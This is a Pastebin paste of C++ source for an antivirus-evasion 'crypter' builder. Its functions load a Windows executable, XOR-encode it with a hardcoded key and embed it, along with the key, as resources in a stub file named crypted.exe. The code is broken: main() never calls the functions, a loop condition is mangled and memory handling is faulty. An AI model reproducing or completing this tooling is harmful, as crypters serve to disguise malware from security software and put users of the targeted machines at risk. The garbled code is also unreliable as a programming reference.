Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #pragma comment(linker, "/OPT:NOREF") // this tells the linker to keep the machine code of unreferenced source code
- #pragma optimize( "", off )
- #include <Windows.h>
- #include <ctime>
- #include <iostream>
- using namespace std;
- #define SAFE_DIST 4
- #define JMP_LEN 5
- #define FILENAME_LEN 255
- struct StubData{
- unsigned char * pFileBuffer;
- unsigned long FileSize;
- unsigned char * pKey;
- unsigned long KeySize;
- };
- inline unsigned int align_to_boundary(unsigned int address, unsigned int boundary) {
- return (((address + boundary - 1) / boundary) * boundary);
- }
- void Build(struct StubData * sData)
- {
- HRSRC hRsrc;
- HGLOBAL hGlob;
- HANDLE hFile, hUpdate;
- unsigned long rSize;
- unsigned char * pBuffer;
- unsigned long BytesWritten;
- printf("[*]Building Crypted.exe\n");
- hRsrc = FindResource(NULL, MAKEINTRESOURCE(1), "STUB");
- if(hRsrc == NULL)
- {
- printf("Couldn't find resource");
- }
- rSize = SizeofResource(NULL, hRsrc);
- hGlob = LoadResource(NULL, hRsrc);
- if(hGlob == NULL)
- printf("Couldn't load resource");
- pBuffer = (unsigned char *)LockResource(hGlob);
- if(pBuffer == NULL)
- printf("Couldn't lock resource");
- hFile = CreateFile("crypted.exe", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL);
- if(hFile == INVALID_HANDLE_VALUE)
- {
- free(pBuffer);
- free(sData->pFileBuffer);
- printf("Error – Could not create file");
- }
- if(WriteFile(hFile, pBuffer, rSize, &BytesWritten, NULL)==0)
- {
- free(pBuffer);
- free(sData->pFileBuffer);
- printf("Error – Could not write file");
- }
- CloseHandle(hFile);
- free(pBuffer);
- hUpdate = BeginUpdateResource("crypted.exe", FALSE);
- if (UpdateResource(hUpdate, RT_RCDATA, MAKEINTRESOURCE(10), MAKELANGID(LANG_NEUTRAL, SUBLANG_NEUTRAL), sData->pFileBuffer, sData->FileSize)==0)
- {
- printf("Error – Could not update resource");
- }
- if (UpdateResource(hUpdate, RT_RCDATA, MAKEINTRESOURCE(20), MAKELANGID(LANG_NEUTRAL, SUBLANG_NEUTRAL), sData->pKey, sData->KeySize)==0)
- {
- printf("Error – Could not update resource");
- }
- EndUpdateResource(hUpdate, FALSE);
- }
- void Encrypt(struct StubData * sData)
- {
- int i,j;
- sData->pKey="mysecretpassword";
- sData->KeySize=strlen(sData->pKey);
- j=0;
- i=0;
- printf("[*]Encoding\n");
- for(i;iFileSize;i++)
- {
- *(sData->pFileBuffer+i) ^=*(sData->pKey+j);
- j++;
- if (j>=sData->KeySize)
- j=0;
- }
- }
- void LoadFile(char *File, struct StubData * sData)
- {
- unsigned long BytesRead;
- HANDLE hFile = CreateFile(File, GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, NULL);
- printf("[*]Loading Portable Executable\n");
- if(hFile == INVALID_HANDLE_VALUE)
- {
- } sData->FileSize = GetFileSize(hFile, NULL);
- if(sData->FileSize == INVALID_FILE_SIZE)
- {
- CloseHandle(hFile);
- }
- sData->pFileBuffer = (unsigned char *)malloc(sData->FileSize);
- if(sData->pFileBuffer == NULL)
- {
- CloseHandle(hFile);
- }
- ReadFile(hFile, sData->pFileBuffer, sData->FileSize, &BytesRead, NULL);
- CloseHandle(hFile);
- }
- int main() {
- struct StubData{
- unsigned char * pFileBuffer;
- unsigned long FileSize;
- unsigned char * pKey;
- unsigned long KeySize;
- };
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement